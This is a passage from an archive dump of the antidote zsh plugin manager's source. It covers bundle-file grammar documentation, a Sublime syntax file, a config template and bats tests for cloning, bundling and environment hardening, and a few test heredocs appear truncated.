words resolve to their own subdirectories, so a preset on the parent directory does not reach them. ### Values | Annotation | Value | | ---------------- | ----------------------------------------------------------------------------------------- | | `kind:` | `zsh` \| `fpath` \| `path` \| `clone` \| `defer` \| `autoload`; anything else is an error | | `path:` | subdirectory or file inside the bundle | | `branch:` | git branch name | | `pin:` | full 40-character lowercase hex commit SHA; a short SHA is an error | | `conditional:` | name of a zero-argument function | | `pre:` / `post:` | name of a zero-argument function | | `autoload:` | functions directory inside the bundle | | `fpath-rule:` | `append` \| `prepend`; anything else is an error | Per-bundle behavior configurable by zstyle rather than annotation, so out of this grammar: `:antidote:bundle:` `min-age`, `zcompile`, `shallow`, `defer-options`. ## Bundle type resolution `bundle_type` applies these in order and stops at the first match. `~/` and `$`-prefixed words are expanded first, so classification reads the parse-time environment. | Test | Type | | ------------------------------------- | --------------------------------------------------- | | exists on disk, is a file | `file` | | exists on disk | `dir` | | empty or all spaces | `empty` | | starts with `/`, `~`, `$`, or `.` | `path` | | contains `://` | `url` | | matches `*@*:*/*` | `ssh_url` | | contains `:` or `@` | invalid | | contains a space or tab | invalid | | has three or more `/`-separated parts | invalid | | ends with `/` | invalid | | contains `/` | `repo` | | anything else | subplugin word, valid only under an active `using:` | Order matters: `a:b/c` is invalid rather than a repo, because the `:`/`@` test precedes the `/` test. ## Errors Fatal to the line (the entry is dropped, the run exits non-zero): - `invalid using: target` - unresolvable target. - `invalid preset: target` - unresolvable target. - `invalid bundle` - unresolvable type, or a bare word with no active `using:`. - `Expecting 'key:value' form for annotation` - an annotation word with no `:`. - `pin requires a full 40-character commit SHA` - a short SHA. - `unexpected fpath rule` - a `fpath-rule:` other than `append`/`prepend`. - `unexpected kind value` - a `kind:` outside the listed values. Fatal to the whole run, before any cloning: - conflicting `pin:`/`branch:` for one bundle directory - inconsistent `pin:`/`branch:` across entries sharing a bundle directory An entry with an error is never cloned and emits no load script. When one line trips several errors, the last one is the one reported. mattmc3-antidote-9bb69ab/misc/zsh_plugins.sublime-syntax000066400000000000000000000062021523541175400236040ustar00rootroot00000000000000%YAML 1.2 --- # syntax-version: 2.2 name: Antidote Bundle file_extensions: - zsh_plugins.txt scope: source.antidote-bundle contexts: main: - include: comment - include: bundle-line comment: - match: '#.*$' scope: comment.line.number-sign bundle-line: - match: '^\s*(?=\S)(?!#)' push: bundle-content bundle-content: - match: '$' pop: true - match: '#.*$' scope: comment.line.number-sign pop: true - include: directive - include: annotation - include: bundle-reference - include: whitespace # A directive takes the first word, so match it before the unknown-annotation # rule claims it as a typo. directive: - match: '\b(using|preset)(:)' captures: 1: keyword.control 2: punctuation.separator.key-value whitespace: - match: '\s+' bundle-reference: - match: 'https?://\S+' scope: markup.underline.link - match: 'git@[a-zA-Z0-9.-]+:\S+' scope: markup.underline.link - match: '[a-zA-Z0-9_-]+/[a-zA-Z0-9_.-]+' scope: entity.name.class - match: '\$\{?[a-zA-Z0-9_]+\}?' scope: variable.other push: path-continuation - match: '~[a-zA-Z0-9_\-/.]*' scope: keyword.other - match: '\.\.?/[a-zA-Z0-9_\-/.]*' scope: keyword.other - match: '/[a-zA-Z0-9_\-/.]*' scope: keyword.other path-continuation: - match: '[a-zA-Z0-9_\-/.]*' scope: keyword.other pop: true - match: '(?=\s|$|#)' pop: true annotation: - match: '\b(kind)(:)' captures: 1: entity.other.attribute-name 2: punctuation.separator.key-value push: annotation-kind-value - match: '\b(conditional|pre|post)(:)' captures: 1: entity.other.attribute-name 2: punctuation.separator.key-value push: annotation-function-value - match: '\b(branch|autoload|pin|fpath-rule|path)(:)' captures: 1: entity.other.attribute-name 2: punctuation.separator.key-value push: annotation-string-value # Unknown annotations (typos or custom) - match: '(?!https?://)([a-zA-Z_][a-zA-Z0-9_-]*)(:)' captures: 1: markup.deleted 2: markup.deleted push: annotation-invalid-value annotation-function-value: - match: '[^\s#]+' scope: entity.name.function pop: true - match: '(?=[\s#]|$)' pop: true annotation-invalid-value: - match: '"[^"]*"' scope: markup.deleted pop: true - match: "'[^']*'" scope: markup.deleted pop: true - match: '[^\s#]+' scope: markup.deleted pop: true - match: '(?=[\s#]|$)' pop: true annotation-kind-value: - match: '\b(zsh|fpath|path|clone|defer|autoload)\b' scope: string.unquoted pop: true - match: '[^\s#]+' scope: markup.deleted pop: true - match: '(?=[\s#]|$)' pop: true annotation-string-value: - match: '"[^"]*"' scope: string.quoted.double pop: true - match: "'[^']*'" scope: string.quoted.single pop: true - match: '[^\s#]+' scope: string.unquoted pop: true - match: '(?=[\s#]|$)' pop: true mattmc3-antidote-9bb69ab/templates/000077500000000000000000000000001523541175400173745ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/templates/config.zsh000066400000000000000000000065601523541175400213760ustar00rootroot00000000000000# antidote config # # Place this file at: ${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh # # Common zstyles are shown below with their default values. # Uncomment and modify any lines you want to change. # ============================================================================= # Git settings # ============================================================================= # zstyle ':antidote:git' site 'github.com' # default git hosting site # zstyle ':antidote:git' protocol 'https' # 'https' or 'ssh' # zstyle ':antidote:git' cmd 'git' # git executable to use # ============================================================================= # Bundle settings # ============================================================================= # zstyle ':antidote:bundle' path-style 'full' # values: full, short, escaped # zstyle ':antidote:bundle' file '${ZDOTDIR:-$HOME}/.zsh_plugins.txt' # plugins file location ## Per-bundle settings (glob patterns supported) # zstyle ':antidote:bundle:*' zcompile 'no' # zcompile all cloned bundles # zstyle ':antidote:bundle:*' shallow 'no' # 'yes' keeps a bundle shallow, skipping the background deepen # zstyle ':antidote:bundle:*' min-age '' # days to hold a bundle behind upstream (unset or 0 = no delay) # min-age needs history to search, so it wins over shallow # zstyle ':antidote:bundle:*' defer-options '' # extra options passed to zsh-defer for all bundles # zstyle ':antidote:bundle:foo/bar' defer-options '' # extra options for a specific bundle # ============================================================================= # Static file settings # ============================================================================= # zstyle ':antidote:static' file '${ZDOTDIR:-$HOME}/.zsh_plugins.zsh' # generated static file location # zstyle ':antidote:static' zcompile 'no' # zcompile the static file # ============================================================================= # Dynamic bundling settings (source <(antidote init)) # ============================================================================= # zstyle ':antidote:dynamic' zcompile 'no' # zcompile the per-line dynamic cache scripts # ============================================================================= # Defer settings # ============================================================================= # zstyle ':antidote:defer' bundle 'romkatv/zsh-defer' # which zsh-defer plugin to use # ============================================================================= # Fpath settings # ============================================================================= # zstyle ':antidote:fpath' rule 'append' # 'append' or 'prepend' fpath entries # ============================================================================= # Snapshot settings # ============================================================================= # zstyle ':antidote:snapshot' dir '${XDG_DATA_HOME:-$HOME/.local/share}/antidote/snapshots' # snapshot storage location # zstyle ':antidote:snapshot' max 100 # max number of snapshots to keep # zstyle ':antidote:snapshot:automatic' enabled 'yes' # auto-snapshot on update ('yes' or 'no') mattmc3-antidote-9bb69ab/tests/000077500000000000000000000000001523541175400165405ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/README.md000066400000000000000000000047401523541175400200240ustar00rootroot00000000000000# antidote tests The test suite is [bats](https://github.com/bats-core/bats-core), in `tests/bats/` (network tests in `tests/bats/real/`). Run it with `just test`, or `just test-all` to include the real network tests. See `tests/bats/helpers/common.bash` for the harness and testing styles. This README doubles as a [clitest](https://github.com/aureliojargas/clitest) smoke test of the literate format the suite grew from; `tests/run` still executes it alongside bats. Support files: - `tests/functions/` - autoloaded session helpers (`t_setup`, `t_teardown`, `t_setup_real`, `bundle_val`, `print_parsed_bundle`, `clone_dirs`, `t_unload_antidote`) - `tests/bin/` - executables tests shell out to (`mock_fzf`, `subenv`, `init_fixtures.zsh`); `t_setup` puts this on `$PATH` - `tests/tmp_home/` - skeleton HOME copied into each isolated test home - `tests/testdata/` - golden files and fixtures - `tests/fixtures/` - generated git fixtures (see `t_setup`) ## Setup A simple setup consists of: - Remove existing antidote zstyles - Don't really git things - Setup antidote ```zsh source <(zstyle -L ':antidote:*' | awk '{print "zstyle -d",$2}') function git { echo "$@" } ANTIDOTE_HOME=$PWD/tests/zdotdir/antidote_home source ./antidote.zsh ``` But you probably just want to source setup... ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## General `antidote` with no args displays its help: ```zsh % antidote antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file % ``` ## Version The `-v/--version` flag displays the current version: ```zsh % zstyle ':antidote:test:version' show-sha off % antidote --version | sed 's/[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*/X.X.X/g' antidote version X.X.X % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-9bb69ab/tests/__init__.zsh000066400000000000000000000003501523541175400210230ustar00rootroot00000000000000#!/bin/zsh () { emulate -L zsh setopt local_options 0=${(%):-%x} local projdir="${0:A:h:h}" local testdir="${projdir}/tests" # setup test functions fpath+=( $testdir/functions ) autoload -Uz $testdir/functions/* } mattmc3-antidote-9bb69ab/tests/bats/000077500000000000000000000000001523541175400174715ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/antidote.bats000066400000000000000000000074561523541175400221670ustar00rootroot00000000000000#!/usr/bin/env bats # antidote end-to-end tests: # version/help/home plus the bundle behaviors that only show up end to # end (clone resolution, branches, path-style). The per-kind and # per-annotation script output matrix lives in script.bats. load helpers/common setup() { antidote_common_setup antidote_test_home } @test "version prints a sha from a git checkout" { run antidote --version assert_success assert_output --regexp '^antidote version [0-9]+\.[0-9]+\.[0-9]+ \([a-f0-9]+\)$' } @test "version respects the show-sha test zstyle" { ZSTYLES="zstyle ':antidote:test:version' show-sha off" run antidote --version assert_output "antidote version $EXPECTED_VERSION" } @test "help shows full usage" { run antidote --help expect "antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles" } # ANTIDOTE_TMPDIR comes from the environment, so antidote-zsh must hand # the user's value across the process boundary, not clobber it with TMPDIR. @test "exported ANTIDOTE_TMPDIR survives the process boundary" { run_session <<'EOS' mkdir -p $HOME/mytmp export ANTIDOTE_TMPDIR=$HOME/mytmp antidote __private__ temp_dir | subenv HOME EOS assert_success assert_output '$HOME/mytmp' } # Same for ANTIDOTE_CONFIG: like ANTIDOTE_HOME, it has to reach the # subprocess even when the user never exported it. @test "unexported ANTIDOTE_CONFIG survives the process boundary" { run_session <<'EOS' typeset +x ANTIDOTE_CONFIG ANTIDOTE_CONFIG=$HOME/custom_config.zsh antidote --diagnostics | grep 'config:' | subenv HOME EOS assert_success assert_output --regexp '^ +config: +\$HOME/custom_config\.zsh \(not found\)$' } @test "bundle clones a repo by short name" { run antidote bundle foo/bar expect '# antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh"' } @test "bundle by url reuses an existing clone" { antidote bundle foo/bar &>/dev/null run antidote bundle https://fakegitsite.com/foo/bar expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh"' } @test "bundle clones a repo by ssh url" { run antidote bundle git@fakegitsite.com:foo/qux expect '# antidote cloning git@fakegitsite.com:foo/qux... fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh"' } # The escaped path-style prints raw paths (print_path does not # substitute $HOME in escaped mode). @test "bundle honors escaped path-style" { ZSTYLES="zstyle ':antidote:bundle' path-style escaped" run antidote bundle foo/bar expect "# antidote cloning foo/bar... fpath+=( \"$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar\" ) source \"$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/bar.plugin.zsh\"" } @test "bundle clones a specific branch with branch:" { antidote bundle 'foo/bar branch:dev' &>/dev/null run git -C "$AHOME/fakegitsite.com/foo/bar" rev-parse --abbrev-ref HEAD assert_output "dev" } @test "home prints the bundle cache dir" { run antidote home assert_output "$AHOME" } mattmc3-antidote-9bb69ab/tests/bats/antidote_core.bats000066400000000000000000000203241523541175400231640ustar00rootroot00000000000000#!/usr/bin/env bats # antidote core tests. # Tests for antidote's most basic functionality. load helpers/common setup() { antidote_common_setup; antidote_test_home; } @test "fails gracefully when someone tries bash" { run_session <<<'bash -c "source $T_PRJDIR/antidote.zsh"' assert_output "antidote: This script requires Zsh, not Bash" } @test "fails gracefully when someone tries plain sh" { run_session <<<'sh -c ". $T_PRJDIR/antidote.zsh"' assert_failure 1 assert_output --partial "antidote: This script requires Zsh, not" } # zsh puts 'filecode' (not 'file') in ZSH_EVAL_CONTEXT when a script is # loaded from its .zwc bytecode. Sourcing must still run setup instead # of falling through to the CLI branch. @test "sourcing works when compiled to zwc bytecode" { local libdir="$BATS_TEST_TMPDIR/zwc" mkdir -p "$libdir" cp "$PRJDIR/antidote.zsh" "$libdir" cp -R "$PRJDIR/functions" "$libdir" zsh -fc "zcompile '$libdir/antidote.zsh'" [ -f "$libdir/antidote.zsh.zwc" ] cat >"$BATS_TEST_TMPDIR/probe.zsh" <"$BATS_TEST_TMPDIR/probe.zsh" <"$BATS_TEST_TMPDIR/probe.zsh" </dev/null # load the dispatcher from 1.0.0 rm "$BATS_TEST_TMPDIR/opt" # upgrade: repoint the link, drop the old keg ln -s kegs/2.0.0 "$BATS_TEST_TMPDIR/opt" rm -rf "$kegs/1.0.0" antidote help >/dev/null echo "help exit: \$?" EOS run env HOME="$TESTHOME" PAGER=cat TERM=dumb zsh -f "$BATS_TEST_TMPDIR/probe.zsh" assert_success assert_output "help exit: 0" } @test "no args displays help and exits 2" { run_session <<'EOS' echo "antidote fn defined: $+functions[antidote]" antidote EOS assert_failure 2 assert_line --index 0 "antidote fn defined: 1" assert_output --partial "$(cat "$PRJDIR/tests/testdata/usage_dispatch.txt")" } @test "help and version flags work" { run_session <<'EOS' antidote -h >/dev/null; echo "-h exit: $?" antidote --help >/dev/null; echo "--help exit: $?" antidote -v >/dev/null; echo "-v exit: $?" antidote --version EOS assert_line "-h exit: 0" assert_line "--help exit: 0" assert_line "-v exit: 0" assert_line --regexp '^antidote version [0-9]+\.[0-9]+\.[0-9]+ \([a-f0-9]+\)$' } @test "diagnostics shows system info" { run_session <<<'antidote --diagnostics' assert_success assert_line --index 0 "antidote:" assert_line --regexp '^[[:space:]]+version:[[:space:]]+[0-9]+\.[0-9]+\.[0-9]+' assert_line --regexp '^[[:space:]]+snapshot dir:[[:space:]]+.+' assert_line --regexp '^[[:space:]]+snapshots:[[:space:]]+[0-9]+' assert_line --regexp '^[[:space:]]+zsh version:[[:space:]]+.+' assert_line --regexp '^[[:space:]]+git version:[[:space:]]+.+' assert_line --regexp '^[[:space:]]+system:[[:space:]]+.+' } @test "unrecognized options and commands fail with exit 1" { run_session <<'EOS' antidote --foo 2>&1 >/dev/null; echo "bad option exit: $?" antidote foo 2>&1 EOS assert_failure 1 assert_line --regexp 'bad option|command not found' assert_line "bad option exit: 1" assert_line "antidote: command not found 'foo'" } # The :antidote:test setopts style takes a list of extra shell options # for antidote.zsh's own code. The probe function is defined in the # config file, so it runs under whatever options the style requested. @test "test setopts style applies extra shell options" { cat >"$TESTHOME/.config/antidote/setopts.zsh" <<'CFG' zstyle ':antidote:test' setopts warn_create_global leak_probe() { probe_global=1 } CFG ACONFIG="$TESTHOME/.config/antidote/setopts.zsh" run antidote __private__ leak_probe assert_output --partial "created globally" } @test "no test setopts style means no extra shell options" { cat >"$TESTHOME/.config/antidote/setopts.zsh" <<'CFG' leak_probe() { probe_global=1 } CFG ACONFIG="$TESTHOME/.config/antidote/setopts.zsh" run antidote __private__ leak_probe refute_output --partial "created globally" } @test "diagnostics reports the git version via the git cmd zstyle" { cat >"$TESTHOME/fakegit" <<'STUB' #!/bin/sh echo "fakegit version 9.9.9" STUB chmod +x "$TESTHOME/fakegit" ZSTYLES="zstyle ':antidote:git' cmd $TESTHOME/fakegit" run antidote --diagnostics assert_line --regexp '^ +git version: +fakegit version 9\.9\.9$' } @test "diagnostics lists the zstyles in effect" { ZSTYLES="zstyle ':antidote:git' site zstyle-probe.example" run antidote --diagnostics assert_output --partial "zstyles:" assert_output --partial "zstyle-probe.example" } # Runtime state that antidote probes for itself must not be settable from # the environment. The probe function is defined in the config file so it # runs inside antidote.zsh with the real globals in scope. @test "an exported color flag cannot force color on" { cat >"$TESTHOME/.config/antidote/probe.zsh" <<'CFG' color_probe() { setup_color; print -r -- "color=[$_ANTIDOTE_COLOR]" } CFG ACONFIG="$TESTHOME/.config/antidote/probe.zsh" EXTRA_ENV="_ANTIDOTE_COLOR=true" run antidote __private__ color_probe assert_output "color=[]" } # Color comes straight from $fg and $reset_color, and reset_color is # a scalar, so it can arrive from the environment. It must still blank. @test "an exported reset_color cannot force color on" { cat >"$TESTHOME/.config/antidote/probe.zsh" <<'CFG' reset_probe() { setup_color; print -r -- "reset=[$reset_color] blue=[$fg[blue]]" } CFG ACONFIG="$TESTHOME/.config/antidote/probe.zsh" EXTRA_ENV="reset_color=$'\E[0m'" run antidote __private__ reset_probe assert_output "reset=[] blue=[]" } @test "an exported bat command cannot survive a failed bat probe" { cat >"$TESTHOME/.config/antidote/probe.zsh" <<'CFG' bat_probe() { setup_color; setup_bat; print -r -- "bat=[$_ANTIDOTE_BAT_CMD]" } CFG ACONFIG="$TESTHOME/.config/antidote/probe.zsh" EXTRA_ENV="_ANTIDOTE_BAT_CMD=/nonexistent/bat" run antidote __private__ bat_probe assert_output "bat=[]" } # fzf opts get their default at init like every other setting, so the # value does not depend on whether snapshot_pick happened to run. @test "fzf opts have their default before any picker runs" { cat >"$TESTHOME/.config/antidote/probe.zsh" <<'CFG' fzf_probe() { print -r -- "[$_ANTIDOTE_FZF_OPTS]" } CFG ACONFIG="$TESTHOME/.config/antidote/probe.zsh" run antidote __private__ fzf_probe assert_output "[--border=top --preview-window=right:75%]" } @test "the fzf opts zstyle overrides the default" { cat >"$TESTHOME/.config/antidote/probe.zsh" <<'CFG' zstyle ':antidote:fzf' opts '--height=40%' fzf_probe() { print -r -- "[$_ANTIDOTE_FZF_OPTS]" } CFG ACONFIG="$TESTHOME/.config/antidote/probe.zsh" run antidote __private__ fzf_probe assert_output "[--height=40%]" } mattmc3-antidote-9bb69ab/tests/bats/bundle.bats000066400000000000000000000227371523541175400216300ustar00rootroot00000000000000#!/usr/bin/env bats # antidote bundle command tests. # Many 'bundle' tests could just as well be 'script' tests; script.bats # finds scripting issues, this covers actual bundling in bulk. load helpers/common setup_file() { antidote_fixture_proto; } setup() { antidote_common_setup antidote_test_home_cached } @test "bundle generates the static file for the ZDOTDIR plugins file" { run antidote bundle <"$ZDOTDIR/.zsh_plugins.txt" subenv_output expect "$(cat "$PRJDIR/tests/testdata/.zsh_plugins.zsh")" } # git chatters on its own during a clone, eg "warning: redirecting to" # for any URL the host redirects. Static mode sources this output, so a # line that is not part of the script has to stay off stdout. @test "git chatter during a clone stays out of the script" { local shim="$BATS_TEST_TMPDIR/chattygit" { echo '#!/usr/bin/env bash' echo 'if [ "$1" = clone ]; then' echo ' echo "warning: redirecting to https://fakegitsite.com/pintest/pinme/" >&2' echo 'fi' echo 'exec git "$@"' } >"$shim" chmod +x "$shim" ZSTYLES="zstyle ':antidote:git' cmd '$shim'" # stdout alone is the contract here, so drop stderr rather than let # bats merge the two streams together. local script script=$(antidote bundle pintest/pinme 2>/dev/null) run printf '%s\n' "$script" subenv_output ANTIDOTE_HOME expect 'fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme" ) source "$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme/pinme.plugin.zsh"' } # an entry that already failed to parse must not cost a clone; the scripter # drops it either way @test "a bundle with an error is not cloned" { run antidote bundle <<'EOS' totally/bogusrepo junk foo/bar EOS assert_failure 1 refute_line --partial "cloning totally/bogusrepo" assert_line --partial "Expecting 'key:value' form for annotation 'junk'" } # Test |piping, "$ZDOTDIR/.zsh_plugins_simple.txt" run antidote bundle <"$ZDOTDIR/.zsh_plugins_simple.txt" subenv_output ANTIDOTE_HOME expect "$(cat "$PRJDIR/tests/testdata/script-fooqux.zsh")" } @test "bundle accepts args, pipes, and redirection with escaped path-style" { AHOME="$TESTHOME/.cache/antibody" ZSTYLES="zstyle ':antidote:bundle' path-style escaped" # The prototype home only holds antidote-style clones, so warm the # antibody home first: run merges stderr, and a cloning notice there # would show up as unexpected output. antidote bundle foo/bar &>/dev/null antidote bundle 'git@fakegitsite.com:foo/qux' &>/dev/null run antidote bundle foo/bar subenv_output ANTIDOTE_HOME expect "$(cat "$PRJDIR/tests/testdata/antibody/script-foobar.zsh")" run antidote bundle <<<'foo/bar' subenv_output ANTIDOTE_HOME expect "$(cat "$PRJDIR/tests/testdata/antibody/script-foobar.zsh")" echo 'git@fakegitsite.com:foo/qux' >"$ZDOTDIR/.zsh_plugins_simple.txt" run antidote bundle <"$ZDOTDIR/.zsh_plugins_simple.txt" subenv_output ANTIDOTE_HOME expect "$(cat "$PRJDIR/tests/testdata/antibody/script-fooqux.zsh")" } @test "multiple defers only load zsh-defer once" { run antidote bundle 'foo/bar kind:defer\nbar/baz kind:defer' subenv_output ANTIDOTE_HOME expect 'if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/bar/baz/baz.plugin.zsh"' } # A failed clone must not take down the rest of the bundle run: the # exit code reports the failure, the good bundles still come through. @test "a bad repo mixed with good ones fails but emits the good" { run antidote bundle <<<$'foo/bar\ndoes-not/exist' assert_failure 1 subenv_output ANTIDOTE_HOME assert_line 'source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh"' } # git removes the clone target on failure but keeps the parent dirs it # had to create, so a mistyped bundle salts ANTIDOTE_HOME with empties. @test "a failed clone leaves no directories behind" { local before after before=$(cd "$AHOME" && find . -type d | sort) run antidote bundle 'https://fakegitsite.com/zsh-users/zsh-autosuggestions/src/foo.zsh' assert_failure 1 after=$(cd "$AHOME" && find . -type d | sort) run diff <(printf '%s\n' "$before") <(printf '%s\n' "$after") assert_success } # Those leftovers used to satisfy the "already cloned" check, so fixing # the bundle line produced a static file pointing at an empty directory. @test "a corrected bundle still clones after a failed one" { antidote bundle 'https://fakegitsite.com/zsh-users/zsh-autosuggestions/src/foo.zsh' &>/dev/null || true run antidote bundle zsh-users/zsh-autosuggestions assert_success subenv_output ANTIDOTE_HOME assert_line 'source "$ANTIDOTE_HOME/fakegitsite.com/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh"' [ -f "$AHOME/fakegitsite.com/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" ] } # A clone carries empty dirs of its own inside .git (objects/info, # refs/tags), which rmdir would take. Pruning must never enter one. @test "pruning leaves a real clone alone" { local repo="$AHOME/fakegitsite.com/foo/bar" local before after before=$(find "$repo" | sort) run antidote __private__ clone_dir_prune "$repo" assert_success after=$(find "$repo" | sort) run diff <(printf '%s\n' "$before") <(printf '%s\n' "$after") assert_success } # Pruning walks upward, so it must refuse the home itself and anything # living outside it. @test "pruning stays inside ANTIDOTE_HOME" { mkdir -p "$AHOME/junk/chain" "$TESTHOME/outside/a/b" run antidote __private__ clone_dir_prune "$AHOME" assert_success [ -d "$AHOME" ] run antidote __private__ clone_dir_prune "$TESTHOME/outside" assert_success [ -d "$TESTHOME/outside/a/b" ] run antidote __private__ clone_dir_prune "$AHOME/junk/chain" assert_success [ ! -d "$AHOME/junk" ] } # Pruning always succeeds. Its callers are parallel jobs whose status # becomes the bundle run's exit code, so halting early is not a failure. @test "pruning succeeds when it halts on a non-empty parent" { mkdir -p "$AHOME/site/junk/chain" "$AHOME/site/keep" echo 'x' >"$AHOME/site/keep/f.zsh" run antidote __private__ clone_dir_prune "$AHOME/site/junk/chain" assert_success [ ! -d "$AHOME/site/junk" ] [ -f "$AHOME/site/keep/f.zsh" ] } # A bundle file of only kind:clone entries emits nothing, but that is # success, not failure. @test "clone-only bundles succeed with no output" { run antidote bundle 'foo/baz kind:clone' assert_success run antidote bundle 'foo/baz kind:clone' assert_success } # A theme repo can ship more than one .zsh-theme (powerlevel10k also # ships powerlevel9k). Source the one named for the repo, not both. @test "a theme repo sources only the theme named for the repo" { run antidote bundle themes/ohmytheme subenv_output ANTIDOTE_HOME expect '# antidote cloning themes/ohmytheme... fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/themes/ohmytheme" ) source "$ANTIDOTE_HOME/fakegitsite.com/themes/ohmytheme/ohmytheme.zsh-theme"' } # Tests deepen in the foreground, so opt this one back into the real # disowned job. It has no completion signal, so poll for it. Polling to # completion also leaves nothing running for teardown to trip over. @test "a clone kicks off a background unshallow" { ZSTYLES="zstyle ':antidote:bundle:*' shallow no zstyle ':antidote:test:git' background-deepen yes" local dir="$AHOME/fakegitsite.com/pintest/pinme" i run antidote bundle 'pintest/pinme kind:clone' assert_success for i in {1..100}; do [[ "$(git -C "$dir" rev-parse --is-shallow-repository)" == false ]] && break sleep 0.1 done run git -C "$dir" rev-parse --is-shallow-repository assert_output "false" } # Dynamic mode captures bundle output with a command substitution, so a # deepen still holding that fd stalls the shell. Slow git stands in for # a repo with a big history. @test "a clone does not wait on the background unshallow" { local shim="$BATS_TEST_TMPDIR/slowgit" start elapsed out { echo '#!/usr/bin/env bash' echo 'for a in "$@"; do [ "$a" = "--unshallow" ] && exec sleep 10; done' echo 'exec git "$@"' } >"$shim" chmod +x "$shim" ZSTYLES="zstyle ':antidote:bundle:*' shallow no zstyle ':antidote:test:git' background-deepen yes zstyle ':antidote:git' cmd '$shim'" start=$SECONDS out=$(antidote bundle pintest/pinme 2>/dev/null) elapsed=$((SECONDS - start)) [ -n "$out" ] [ "$elapsed" -lt 5 ] } # A pin names one commit, so there is no history worth fetching. @test "a pinned clone is left shallow" { ZSTYLES="zstyle ':antidote:bundle:*' shallow no" local dir="$AHOME/fakegitsite.com/pintest/pinme" run antidote bundle "pintest/pinme kind:clone pin:$PIN_V110" assert_success sleep 1 run git -C "$dir" rev-parse --is-shallow-repository assert_output "true" } # Keep at bottom of file because this messes up syntax highlighting @test "bad kind values fail" { run antidote bundle <<<$'foo/bar\nfoo/baz kind:whoops' assert_failure 1 assert_line "# antidote: error: unexpected kind value: 'whoops'" } mattmc3-antidote-9bb69ab/tests/bats/bundle_helpers.bats000066400000000000000000000150451523541175400233440ustar00rootroot00000000000000#!/usr/bin/env bats # antidote bundle helper tests. # Many 'bundle' tests could just as well be 'script' tests; this covers # actual bundling and things not handled by 'antidote script'. load helpers/common setup() { antidote_common_setup; } # The repo parser pulls a list of all git URLs in a bundle file so that # we can clone missing ones in parallel. @test "bulk_clone emits parallel clone script" { fixture_session <<'EOS' cat $T_TESTDATA/.zsh_plugins_repos.txt | antidote-zsh __private__ bulk_clone EOS expected=$(cat <<'EOF' zsh_script __bundle__ bar/baz kind clone & zsh_script __bundle__ foobar/foobar kind clone branch baz & zsh_script __bundle__ getantidote/zsh-defer kind clone & zsh_script __bundle__ git@github.com:user/repo kind clone & zsh_script __bundle__ http://github.com/user/repo.git kind clone & zsh_script __bundle__ https://github.com/foo/baz kind clone & zsh_script __bundle__ https://github.com/foo/qux kind clone & zsh_script __bundle__ https://github.com/user/repo kind clone & zsh_script __bundle__ user/repo kind clone & wait EOF ) expect "$expected" } @test "bulk_clone with empty input emits nothing" { fixture_session <<'EOS' cat $T_TESTDATA/.zsh_plugins_empty.txt | antidote-zsh __private__ bulk_clone EOS refute_output } @test "bundle_scripter emits zsh_script statements" { fixture_session <<'EOS' echo foo/bar | antidote __private__ bundle_scripter echo 'https://github.com/foo/bar path:lib branch:dev' | antidote __private__ bundle_scripter echo 'git@github.com:foo/bar.git kind:clone branch:main' | antidote __private__ bundle_scripter echo 'foo/bar kind:fpath abc:xyz' | antidote __private__ bundle_scripter echo 'foo/bar path:plugins/myplugin kind:path # trailing comment' | antidote __private__ bundle_scripter EOS expected=$(cat <<'EOF' zsh_script __bundle__ foo/bar __type__ repo zsh_script __bundle__ https://github.com/foo/bar __type__ url branch dev path lib zsh_script __bundle__ git@github.com:foo/bar.git __type__ ssh_url branch main kind clone zsh_script __bundle__ foo/bar __type__ repo abc xyz kind fpath zsh_script __bundle__ foo/bar __type__ repo kind path path plugins/myplugin EOF ) expect "$expected" } # Track defers: only the first kind:defer bundle loads zsh-defer itself. @test "bundle_scripter skips defer loader after the first defer" { fixture_session <<'EOS' print 'foo/bar kind:defer\nbar/baz kind:defer\nbaz/qux kind:defer' | antidote __private__ bundle_scripter EOS expected=$(cat 